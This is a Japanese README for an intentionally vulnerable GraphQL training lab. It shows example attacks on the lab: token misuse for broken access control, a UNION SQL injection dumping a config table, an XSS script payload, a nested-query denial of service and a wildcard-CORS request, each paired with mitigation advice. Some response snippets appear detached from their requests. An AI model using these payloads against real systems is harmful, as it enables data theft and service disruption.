ラボの条件と前提は次のとおりです。

* 獣医師は0匹またはN匹の犬と関連付けることができます。
* 犬は0人または1人の獣医師と関連付けることができます。
* 獣医師は**人気**というプロパティを持ち、これはストレージシステム（データベース）に存在しますが、機密情報であるためGraphQLクライアントからアクセスしてはいけません。
* GraphQLのデータ消費の観点は獣医師です。犬の情報は公開されています。
* ラボは明示的に脆弱なアプリケーションであり、いくつかの脆弱性が実装されており、コメント内の`[VULN]`マーカーで識別されています。
* 認証に関しては、偽のサードパーティサービス（サーブレット経由）が実装されており、トークン内に獣医師名を含むJWTトークンを返します。

プロジェクト内の起動設定またはコマンドライン`mvn spring-boot:run`で起動すると、ラボは次のエンドポイントで利用可能になります。

* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)

アプリケーションをポータブルjarファイルとしてパッケージ化するには、コマンド`mvn package`を使用します（事前にビルドされたjarファイルは[こちら](https://github.com/righettod/poc-graphql/releases)から入手できます）。
* jarファイルは*target*フォルダに作成され、*graphql-poc.jar*という名前になります。
* コマンド`java -jar graphql-poc.jar`を使用してアプリケーションを実行します。

## Dockerへのデプロイ

> イメージは毎日[DockerHub](https://hub.docker.com/r/righettod/poc-graphql)に公開されています。

Dockerコンテナにアプリケーションをデプロイするには、次の手順に従います。

1. `docker`がインストールされていることを確認してください。
2. リポジトリを`git clone`します。
3. クローンしたディレクトリに移動します。
4. `docker build -t poc-graphql .`を使用してDockerイメージをビルドします。
5. これで、**poc-graphql:latest**というイメージがマシンに作成されました。
6. `docker run -p 8080:8080 poc-graphql:latest`を使用してコンテナを実行します。
7. 次のエンドポイントを使用してラボにアクセスします。
   * [GraphiQL](http://localhost:8080/graphiql)
   * [GraphQL](http://localhost:8080/graphql) 

## セキュリティ上の脆弱性

### 認可

*壊れたアクセス制御*

[CWE-285](https://cwe.mitre.org/data/definitions/285.html)

#### 問題

GraphQLはすべてのリクエストが送信される単一のエンドポイントに基づいており、認可は仕様の範囲外（組み込み機能なし）であるため。

認可ロジックを実装するのはアプリケーション次第です。

私のラボでは、アクセストークンの検証が**veterinaryId**に渡された獣医師にトークンが属していることを確認しないため、この点に脆弱性があります。

**Example:**

識別子**3**を持つ**Dr Julien**のアクセストークンを、次のGraphQLリクエストを送信して要求します。```javascript
query getAccessToken {
  auth(veterinaryName: "Julien")
}

私は取得したアクセストークンを使用してクエリ`myInfo(...)`にGraphQLリクエストを送信しますが、**Dr Benoit**のものである識別子**2**を指定します：```javascript
query brokenAccessControl {
  myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
    id, name, dogs {
      name
    }
  }
}

#### 推奨

GraphQLでは、`Role x Feature` を用いた認可マトリクスから、`Role x Data` を用いたデータレベルのセキュリティへと移行しました。これは単一のエンドポイントであるためです。ユーザーIDとロールは、データを取得（または操作）する上位層に渡され、データ取得前にユーザーIDを用いた検証を適用する必要があります。

### インジェクション

[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)

#### 問題

GraphQLサーバーがデータストアに対して動作するために、GraphQLリクエストのクエリ/ミューテーション/サブスクリプションからの情報がどのように使用されるかに応じて、インジェクションの可能性があります。

私のラボでは、クエリ `dogs(namePrefix: String, limit: Int = 500): [Dog!]` におけるSQLiに関して、この点に脆弱性があります。なぜなら、パラメータ **namePrefix** が文字列連結に使用され、SQLクエリを構築しているからです。

**例:**

`CONFIG` テーブルの内容を一覧表示するために、次のGraphQLリクエストを送信します。```javascript
query sqli {
  dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
    id
    name
  }
}

XSSについて、興味深いことに、送信されたリクエストの検証に失敗した場合、GraphQLレスポンスは送信されたパラメータをそのまま反映します。

**例:**

`myInfo(accessToken: String!, veterinaryId: Int!): Veterinary` クエリにこのGraphQLリクエストを送信します。Veterinary識別子（整数）をString XSSペイロードに置き換えます:```javascript
query xss {
  myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
    veterinaryId: "<script>alert('XSS')</script>") {
    id
  }
}

#### Reco

* Query/Mutation/Subscriptionを介して受信したデータに対して、使用前に入力検証を適用する
* GraphQLレスポンスからデータをレンダリングするクライアントが、レンダリング前にデータにエスケープ/サニタイゼーションを適用することを確認する

### Resource exhaustion

[CWE-400](https://cwe.mitre.org/data/definitions/400.html)

#### 問題

クライアントが要求するデータ量を制御できるため、クライアントは、GraphQLサーバーによって呼び出されるストレージ、およびデータのJSONへのシリアライゼーションのためのGraphQLサーバー自体にリソース枯渇を引き起こすクエリに対してGrapQLリクエストを送信することができます。

この問題は、パラメータに大量のデータを送信することでミューテーションを使用しても発生する可能性があります（入力検証はこの攻撃を防ぐために使用できます）。

この問題は、サブスクリプションを使用しても発生する可能性があります。その方法は次のとおりです：

* 多数のサブスクライバを登録し、公開された各サブスクリプションに対して行う。
* サブスクリプションで使用されるパラメータに大量のデータを送信する。

私のラボでは、クエリに関してこの点に脆弱性があります。具体的には、匿名ユーザーが利用可能で、Dogに関するDBの内容を取得するクエリ `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` です。DogsとVeterinaryの間には関係があり、その逆もあるため、カスケード呼び出しを実行してDBのSQLレベルでリソース枯渇を引き起こすことが可能です。

**例：**

このリクエストを送信すると、CPUが数分間100%になり、DBはSQLiteであるためローカルになります。```javascript
query dos {
  allDogs(onlyFree: false, limit: 1000000) {
    id
    name
    veterinary {
      id
      name
      dogs {
        id
        name
        veterinary {
          id
          name
          dogs {
            id
            name
            veterinary {
              id
              name
              dogs {
                id
                name
                veterinary {
                  id
                  name
                  dogs {
                    id
                    name
                    veterinary {
                      id
                      name
                      dogs {
                        id
                        name
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

この応答を受け取り、システムに作用して予期しない動作を引き起こしたことを通知されます。例えば、アプリのログにスタックトレースが生成され、アプリのログファイルがサイズではなく日付（日次）でローテーションしている場合、このリクエストを複数回送信してエラーログでディスクを埋め尽くすことができます…```javascript
{
  "data": {
    "myInfo": null
  },
  "errors": [
    {
      "message": "Internal Server Error(s) while executing query",
      "path": null,
      "extensions": null
    }
  ]
}

応答は、犬と獣医のシーケンシャル識別子を示しています：```javascript
{
  "data": {
    "allDogs": [
      {
        "id": 1,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 2,
        "veterinary": {
          "id": 1
        }
      },
      {
        "id": 3,
        "veterinary": {
          "id": 1
        }
      },
  ...
  {
        "id": 55,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 56,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 57,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 58,
        "veterinary": {
          "id": 2
        }
      },
      {
        "id": 59,
        "veterinary": {
          "id": 2
        }
  ...

これからこの購読から情報を受け取ることを示す以下のメッセージを受け取ります。```text
Your subscription data will appear here after server publication!

ミューテーション応答は、アクションがデータレベルで実行されたことを証明しています：```javascript
{
  "data": {
    "associateDogToMe": {
      "name": "Dobby"
    }
  }
}

![PROOF10](https://assets.kitploit.com/production/public/readmes/6114/d16d4a36df8b0debf31bba4b07b813cb56241cbe591cd1a474f47aeeeef1eb3d.png)

##### クロスオリジンリソースシェアリングのデフォルト有効化

私のラボでは、デフォルトで[CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS)が有効になっており、`*`に設定されているため、APIはどの`origin`からでも呼び出すことができます。

**例:**

このリクエストを送信する際に、`origin`を*domain1.local*から*domain2.local*に異なるものとして指定した場合：```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache

{"query":"query testCORS {\n  allDogs{\n    name\n  }\n}\n","variables":null,"operationName":"testCORS"}

ブラウザからの呼び出し：

![PROOF06](https://assets.kitploit.com/production/public/readmes/6114/f3b510f63ccfb02205077f80ab0a3aecc89828e7648fbc57df10315456e1b92b.png)

![PROOF07](https://assets.kitploit.com/production/public/readmes/6114/d1e1d8b993ca30df19159ce8e9283d90130fd3122beed521a8563cd628b10f82.png)

#### 推奨

デフォルトで有効になっている機能を確認し、APIの露出に影響を与える場合は無効にしてください。

Subscriptionsエンドポイントの場合：

* サブスクリプションを公開する場合は、スキーマに公開されているすべてのサブスクリプションに認証とアクセス制御が設定されていることを確認してください。
* サブスクリプションを公開しない場合は、WebSocketエンドポイントを無効にするか、WAF/アプリケーションサーバーレベルでこのエンドポイントをブロックしてください。

私のラボでは、この[構成ファイル](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties)に以下のオプションを設定しました：

* CORSの場合: `graphql.servlet.corsEnabled=false`
* WebSocketの場合: `graphql.servlet.websocket.enabled=false`

## ディスカバリクエリ

以下のクエリを使用してスキーマを取得できます。

非詳細：```javascript
{
    __schema {
        types {
            name
            kind
            description
            fields {
                name
            }
        }
    }
}

## 使用した参考文献

### GraphQL

* [GraphQL サイト](https://graphql.org/)
* [GraphQL チュートリアル](https://www.howtographql.com/)
* [GraphQL の問題に関する DOYENSEC ブログ](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)

### ラボ

* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)